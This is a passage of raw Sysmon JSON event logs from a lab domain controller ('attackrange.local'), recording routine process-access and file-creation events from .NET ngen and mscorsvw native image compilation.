C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:02.119","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42BA-5F2D-0000-0010111E0D00}","TargetProcessId":"3836","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:03","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:02","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":7352,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 12:02:02.166\r\nProcessGuid: {90617006-42BA-5F2D-0000-0010111E0D00}\r\nProcessId: 3836\r\nImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nTargetFilename: C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\efc-0\\PresentationFramework-SystemDrawing.dll\r\nCreationUtcTime: 2020-08-07 12:02:02.166","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 12:02:02.166","ProcessGuid":"{90617006-42BA-5F2D-0000-0010111E0D00}","Image":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","TargetFilename":"C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\efc-0\\PresentationFramework-SystemDrawing.dll","CreationUtcTime":"2020-08-07 12:02:02.166","EventReceivedTime":"2020-08-07 12:02:03","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:02","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7353,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:02.197\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42AD-5F2D-0000-00109DD70B00}\r\nTargetProcessId: 4436\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:02.197","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42AD-5F2D-0000-00109DD70B00}","TargetProcessId":"4436","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:03","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:02","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7354,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:02.197\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42AD-5F2D-0000-00109DD70B00}\r\nTargetProcessId: 4436\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:02.197","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42AD-5F2D-0000-00109DD70B00}","TargetProcessId":"4436","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:02:03","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:02","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7355,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:02.213\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42BA-5F2D-0000-0010BB220D00}\r\nTargetProcessId: 4436\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:02.213","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42BA-5F2D-0000-0010BB220D00}","TargetProcessId":"4436","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:03","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:02","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7356,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:02.260\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4488\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42A3-5F2D-0000-0010113B0B00}\r\nTargetProcessId: 1008\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:02.260","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4488","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42A3-5F2D-0000-0010113B0B00}","TargetProcessId":"1008","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:03","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:02","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7357,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:02.260\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42A3-5F2D-0000-0010113B0B00}\r\nTargetProcessId: 1008\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:02.260","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42A3-5F2D-0000-0010113B0B00}","TargetProcessId":"1008","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:02:03","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:02","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7358,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:02.260\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42A3-5F2D-0000-0010113B0B00}\r\nTargetProcessId: 1008\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:02.260","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42A3-5F2D-0000-0010113B0B00}","TargetProcessId":"1008","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:03","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:02","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":7359,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 12:02:02.338\r\nProcessGuid: {90617006-42BA-5F2D-0000-001046260D00}\r\nProcessId: 1008\r\nImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nTargetFilename: C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\3f0-0\\PresentationFramework-SystemXml.dll\r\nCreationUtcTime: 2020-08-07 12:02:02.338","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 12:02:02.338","ProcessGuid":"{90617006-42BA-5F2D-0000-001046260D00}","Image":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","TargetFilename":"C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\3f0-0\\PresentationFramework-SystemXml.dll","CreationUtcTime":"2020-08-07 12:02:02.338","EventReceivedTime":"2020-08-07 12:02:03","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:02","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7360,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:02.369\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42BA-5F2D-0000-0010142B0D00}\r\nTargetProcessId: 3388\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.